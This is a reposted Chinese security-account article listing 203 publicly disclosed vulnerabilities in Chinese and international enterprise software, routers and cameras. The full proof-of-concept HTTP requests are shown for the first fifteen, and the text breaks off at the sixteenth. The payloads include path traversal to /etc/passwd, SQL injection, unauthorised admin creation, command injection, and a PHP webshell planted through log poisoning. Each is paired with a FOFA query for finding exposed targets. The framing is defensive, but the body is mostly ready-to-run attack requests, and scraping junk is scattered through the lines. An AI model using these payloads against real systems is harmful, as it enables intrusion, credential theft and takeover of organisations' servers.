互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
, ?  @% U8 k2 z) @以下文章来源于网络安全新视界 ，作者网络安全新视界

* g* T; I; ?9 }" w# n* K发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
; j, f% q7 P- i. Y/ @
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
5 o; d7 O6 j5 ~( }/ X+ O+ w) I
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
& B" N* K& H1 P1 ]( W
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
4 g: `' c3 a) M3 Q8 F

声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
: l$ h' ^' m! e4 a8 `
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
- [& S# L  x- H  x) q9 S3 p
# ~$ P3 M* I8 T# q; q

目录

01
: l; v8 \3 v' _+ {  Y0 j' @( n
1. StarRocks MPP数据库未授权访问
6 K0 I: w8 O% Q+ T3 c# M2. Casdoor系统static任意文件读取
3 z( S: T6 \& U3 Q3. EasyCVR智能边缘网关 userlist 信息泄漏
) w/ e' J1 D8 U  [# _4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
! J! V! `+ U/ f$ f+ m7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
% o, W7 @. t1 \1 |. q10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
& e5 Q9 _! d9 _: Q13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
% Z- r7 W* H- R8 e4 I9 i$ a  |+ n16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
' b! d" Y0 Y' ], }$ Q' _21. 大华ICC智能物联综合管理平台random远程代码执行
  W  {. c" G" j' I( p- m3 v4 n22. 大华ICC智能物联综合管理平台 log4j远程代码执行
- I' g: ^) N  V8 M' i. d  O9 D' x23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ T2 B+ |) I1 m! e8 A: S. L, V! H1 e24. 用友NC 6.5 accept.jsp任意文件上传
" b* F! y! ]* y9 l3 g5 R  g25. 用友NC registerServlet JNDI 远程代码执行
2 g. r2 U6 l) n! V5 \26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
4 m6 \# Z9 m1 ^# T2 p28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
+ U, A5 E3 w" Z% O0 Q5 k: N30. 用友NC importPml SQL注入
. G$ q( }) l0 t. B: q31. 用友NC runStateServlet SQL注入
/ C; c* I7 T: R0 R32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
: J( o# c: H3 b0 i35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
( C  j$ ]- b6 a% R2 _3 c0 |38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
$ f4 |; \4 T5 j" ?' q$ r# K42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
; j' S" E+ `% e! k4 F+ |% B( N46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. d. A/ c6 }$ D+ f# z( y47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
2 q$ M, a5 ?! I/ a: m1 F5 t49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
( M6 c* Z8 l9 k6 t51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
( v" n& q: }: \  ]; h4 E: I, x52. 泛微E-Office json_common.php sql注入
, e2 W( h3 I( v, y53. 迪普 DPTech VPN Service 任意文件上传
. Q+ D, B4 |; r* j. _6 Y54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
" ]+ w$ l4 N6 I( Y' |7 g57. 畅捷通T+ keyEdit.aspx SQL注入
0 u7 u' }) m# s1 `58. 畅捷通T+ KeyInfoList.aspx sql注入
& W# o; q- G. Y59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
, j3 l0 e) }( g. |( P' s60. 百卓Smart管理平台 importexport.php SQL注入
$ B; V& u9 y! O! A' }' I61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
' K- D; u, j. H# a0 _62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
" `- `3 [' T% C. x9 O6 A65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
9 D* N$ b' c0 |% L2 k68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
6 a5 s0 \2 x5 i2 [! N0 _0 y70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
# G3 M$ Z/ U7 W! l5 \74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
: V8 ~9 \/ D5 ^: w! _0 F9 s76. 新开普掌上校园服务管理平台service.action远程命令执行
5 R/ L9 x' ^* Q; {+ \3 O( K77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
) H% X3 C$ n* t82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
; h1 H# g/ w9 ^9 h83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
+ ~0 [& X, ]. n" N  u: ?85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
9 m  ?7 m- k* L; W+ @. ~# \88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
1 n: E( l& L5 r* w+ k94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
! O2 O' B+ r. P97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 a& k7 x! r1 G. Y4 E' D98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
2 g7 r4 d# W3 a/ \100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
2 G+ E! @3 N0 `3 w- E101. ivanti policy secure-22.6命令注入
  f6 Z' h* r4 v2 E) ~+ {9 g3 v102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
+ R  P- p0 S" _/ h103. Ivanti Pulse Connect Secure VPN XXE
0 u; j4 g& C' B- u2 _! G104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
. w& S$ o0 q8 \5 Q  e/ a9 J105. SpringBlade v3.2.0 export-user SQL 注入
  P' T( f# l; i& @* o106. SpringBlade dict-biz/list SQL 注入
+ C$ p/ C: s! J  K3 k4 t107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
3 m" W# h( y5 b- j& _! \, v5 J; O110. Goanywhere MFT 未授权创建管理员
# G. w' h/ d, r111. WordPress Plugin HTML5 Video Player SQL注入
, e$ m8 M3 e' n% x- g0 r112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
4 l9 i; K, ]$ |5 Y: O  ~) O/ R4 U114. WordPress MasterStudy LMS插件 SQL注入
$ P1 H1 N0 Q, a115. WordPress Bricks Builder <= 1.9.6 RCE
% @# |  G& u% E5 `" a116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
; \8 e! l( ?' P  @1 A* R  A5 n119. 北京百绰智能S20后台sysmanageajax.php sql注入
4 X" F: J. X5 k+ Y120. 北京百绰智能S40管理平台导入web.php任意文件上传
  h5 E6 T6 z6 g9 [121. 北京百绰智能S42管理平台userattestation.php任意文件上传
( I, N( k% o0 y122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
$ @4 ^/ f- l# Q3 O% m: i/ D126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
) j2 I" n$ E" V' ]+ k  f130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
- Q& o* Y# }. L- X9 d; w133. H5 云商城 file.php 文件上传
5 f* P4 S7 t" d* ^( g134. 网康NS-ASG应用安全网关index.php sql注入
. ]! d4 N, d( G135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
1 G/ w- @6 K2 T% E8 s9 u* {139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
  Y$ \3 O/ w  f141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
& f- L/ X0 |5 a1 n  G, j4 \2 O) R  i145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
  W& A* L, L. ^, T9 ~) L146. MajorDoMo thumb.php 未授权远程代码执行
# }) h' y% Q% R7 x8 K' M147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
# j: l; v' j. l1 [: [7 l148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
- ?5 Z) }7 K# c- r- B8 _( U4 h1 C152. Progress Kemp LoadMaster 远程命令执行
" ?1 ^' F# _& F9 u; O153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
' o- D  D! N; ]156. TBK DVR-4104/DVR-4216 操作系统命令注入
& \+ E+ y/ ]7 Y$ _( L% p/ s8 ~157. 美特CRM upload.jsp 任意文件上传
" `9 l2 N6 s% I: X& t; O( M8 f9 t158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
- q5 x* n( s! Z* G# z163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
9 t2 N1 ?& s! _7 a1 D164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
% _6 e  [6 P+ G165. OrangeHRM 3.3.3 SQL 注入
" x" t6 _& l  R1 |: m166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
2 T- B- s5 R; g" o5 w168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
4 `6 P2 E: f( d$ E8 ?171. 通天星CMSV6车载定位监控平台 SQL注入
- }0 G" e; S; S6 K$ E7 \3 [1 Q) h: D172. DT-高清车牌识别摄像机任意文件读取
( c3 K* R  h5 w173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
8 Q( y9 d5 f1 C+ q# L! F: m175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# @6 ~( s: {% F) s" ?  W5 r- x6 N1 B176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
9 `# J) `! M: x178. H3C校园网自助服务系统-flexfileupload-任意文件上传
8 p6 G! N' `% h179. 建文工程管理系统存在任意文件读取
: i$ z3 y1 H% \9 c: Q6 y. H  _180. 帮管客 CRM jiliyu SQL注入
2 e5 g( b& }2 a  P) ~1 n! d* M2 Z+ K) _181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
- x2 `  {# M8 X. `! \185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
: n& n5 C% c6 O, B# o192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
& _- j! a  b$ n# I4 w1 z5 G. Y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
/ l% f1 j; ]. j2 R194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
- e- ~# T2 W4 b9 r197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
/ q' J5 E* S1 v) k* x198.  阿里云盘 WebDAV 命令注入
" u" B0 o1 {" L$ f. {199. cockpit系统assetsmanager_upload接口 文件上传
3 |" H7 ^( A- t% C( r200. SeaCMS海洋影视管理系统dmku SQL注入
2 l9 T9 A2 |' _% J! c$ s$ a: R201. 方正全媒体新闻采编系统 binary SQL注入
: J- e: B) D% w9 U202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
) N' W; |  H6 `9 j
4 U) g8 R: d/ Y7 w1 O/ Q- P' T1 v' \POC列表
! I. A% c# y; m" \. C/ t- G
) K" E/ w, `# P" Y02

1. StarRocks MPP数据库未授权访问
$ }5 R- D  e8 W0 ]' [+ Q; a6 JFOFA ：title="StarRocks"
% p. D- j2 G+ z3 i( i$ y' QGET /mem_tracker HTTP/1.1
1 a& L* I$ P6 I6 R( `7 f& iHost: URL


: ^! s8 ^0 }- B- `+ y. b6 Y* a2. Casdoor系统static任意文件读取
) q6 x; G, P) T- i2 {3 n* f  @FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
. K, u0 n. a) l6 @+ V3 n& n6 [$ wHost: xx.xx.xx.xx:9999
$ U7 p, V+ `* B5 \  {% p+ oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! I+ ?7 ?4 Q0 T* r! Q- kConnection: close
! z# ^/ z; u" g2 r# L( w, iAccept: */*
Accept-Language: en
% l; Z) Z4 V; p5 j+ K$ zAccept-Encoding: gzip
& \9 a6 g6 h% o" y- |" `* Q
% l" J0 B3 y5 Q9 e4 p
' q5 y# f: `) O, v3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
8 G- o& I, x2 N+ b8 p0 dGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

5 P4 G+ J- Q% C3 h* L+ q1 _( P9 @# ]/ ~
4. EasyCVR视频管理平台存在任意用户添加
/ M$ Q* A, X/ [! FFOFA ：title="EasyCVR"
2 ^7 Q& r5 x; w3 k" n* k
3 N% L4 T" Q- ~. f: {7 n1 Z1 Z# Ypassword更改为自己的密码md5
6 |4 k" H# q4 VPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

5 Q3 X8 [% y# \4 ]6 g5 y; M1 B
4 A, W8 p. q" j. v6 ?5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
$ H5 H  \( {; g0 M7 x1 e1 LGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
4 M, n- I% d; bHost:

. w+ q+ e$ T1 ^$ U5 j8 e
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
' _* ?' B) X% s1 R' v  ~- J" b默认账号admin登录后台后，执行操作
  M7 J) j! g% S; @POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
' y/ W$ n) b8 V0 O$ m
+ k/ C3 A* S0 p6 H) I$ c- i% j0 d------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
" p0 ^( E/ E. z
%s
------WebKitFormBoundaryxbgjoytz
6 V2 n# w& T: B& c4 p; @Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
/ y% Z3 M6 A' ^8 u- X3 bContent-Disposition: form-data; name="wifiRebootendrange"
+ m& p7 a1 q- x) U% T2 k8 I
8 ~% Q8 Y3 q  g0 s( n3 s%s:
( ~. i" E3 V5 Y' ]' C------WebKitFormBoundaryxbgjoytz
) w6 S( H/ A8 v1 y& v8 nContent-Disposition: form-data; name="cururl2"
+ ?! a. j' m" d7 r4 P

------WebKitFormBoundaryxbgjoytz--
8 p0 |# Y0 b" B$ A
3 t- x) R) }/ t7 m. z% s
9. 稻壳CMS keyword 未授权SQL注入
* z) I" m3 o4 p. ]3 {FOFA：app="Doccms"
2 x0 @8 M( M1 e+ E" QGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
; D5 O- z# N7 y1 `* Q1 x" h
3 O3 a6 ]7 U6 @$ d* L
payload为下列语句的二次Url编码
, B7 Q: R  S8 H, g/ J0 Y
$ F, p$ q9 d7 T' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
4 Y- L% d3 Y! J8 Y
文件上传后响应中包含上传文件的路径
) g. V% L( z. H* c3 z; a* xPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
; N. _7 M( z% h4 n, YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
8 r$ M) d! c: x0 H& H. B% hContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
0 B8 b0 Q2 z' Z, UAccept-Encoding: gzip, deflate
* T  L5 O' M+ w0 r2 DAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
( {* b1 n- l8 `+ x9 M. rContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

, }, {' \, t* \" }; F& G! H, l' Xjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
1 p1 @& _" M! U
4 ]/ z) P- w- ]
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
( _* D- ^$ u- I0 X, w! Z" eGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
; C0 I) j0 A- @/ dConnection: close
3 {" G+ Q1 v! {7 p" P! w- L+ z0 M
# O; K- J" W  \5 r3 C( _. c' x
' r0 Q" L+ ]+ Q, m3 K- Z12. Jorani < 1.0.2 远程命令执行
. X2 l! N+ o0 G: T7 L  N* |FOFA：title="Jorani"
第一步先拿到cookie
* p# B9 d' }. ^& }4 JGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
! Y4 w2 e2 |; E, r/ k. ?2 {Accept-Encoding: gzip
/ p- A( G/ x! ~4 I. k
9 y5 Q9 L8 l: N& j+ Z" l. D: b
# F  [. E0 {9 i% g7 P0 e. p+ h8 w# w" M响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
" y5 d" S, l( `4 T- \. f; |Content-Type: text/html; charset=UTF-8
7 E4 V( {2 e- r5 p) kDate: Tue, 24 Oct 2023 09:34:28 GMT
3 D0 A/ u% w- B2 \8 z. N; pExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
2 ~, s9 Q" v3 m8 k' |Pragma: no-cache
Server: Apache/2.4.54 (Debian)
" @: I* k" u/ @0 f( LSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
: r! v. o; ~) z4 o3 M: J( OSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
* t! v9 @! L+ u8 H7 |4 K" iVary: Accept-Encoding
) v- Z0 g4 F1 I) K' g
8 d: W) _) U7 C7 t( O$ S0 J8 f
. l( N+ y+ P! K" }! f) @5 HPOST请求，执行函数并进行base64编码
# s. W, O3 C8 \) {9 C7 _  T1 U3 APOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
$ I  E7 P1 L( b+ }1 PConnection: close
% Q, _0 J6 K# B7 Q) F2 u( TContent-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; ~7 o7 V% T! g9 U: e, C9 `Accept-Encoding: gzip

  A/ R7 Z+ C+ i' z0 x- E; m; z# `csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
. J/ Q: y0 q7 H! Y

; T# \, Y" X- h+ q" A
6 @+ h) N3 h- j; O) C向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
/ [" V/ G  A, Q# y5 ]; FHost: 192.168.190.30
7 L8 M( U  K" O! n/ oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
3 [* Q. O1 H$ J' UK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
- t- k6 ^- k+ @9 g/ y- qAccept-Encoding: gzip


% i6 }' |. j4 }' z4 y- Z13. 红帆iOffice ioFileDown任意文件读取
- y. C6 k8 @' w: h. I; i- bFOFA：app="红帆-ioffice"
. y! t* Y7 C* R, u4 ~GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
2 U' C! z$ O2 h2 X* l2 kConnection: close
Accept: */*
Accept-Encoding: gzip

" K1 I! m4 ~1 m' h" F* |3 G
+ @; t* u- z6 h& A* q  D$ z14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
+ Q! C# T! b' `: e) j; C( n泄露内容包括用户名密码
5 s) e* T2 l4 P* g# `& G- j6 D+ hGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
+ C7 N. L( u8 Z2 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
+ d7 ~1 ]0 ]" C9 Y* cConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
8 Q+ ~$ k2 s" j. L5 y

7 K5 z3 z: F$ ~6 v2 @) T15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
; l/ M6 c( @( L) C: ~0 u& a5 vGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
6 @7 b4 i' u# c8 f: IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
: k8 c( a3 ~2 h. ^7 aConnection: close
6 W  p; Q; l; Z& V" S. ?8 G! K2 FAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
# i* N7 a( V# L# B. v5 ?- Q) fAccept-Language: en
1 l" r# g( M) o  Tsec-ch-ua-platform: Windows
/ p6 I; Z6 u& h2 I+ d7 PAccept-Encoding: gzip

1 Q- M6 k0 r' K) J$ _, y1 ?% z
) G5 p* W' d0 H- q; A* R5 J16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
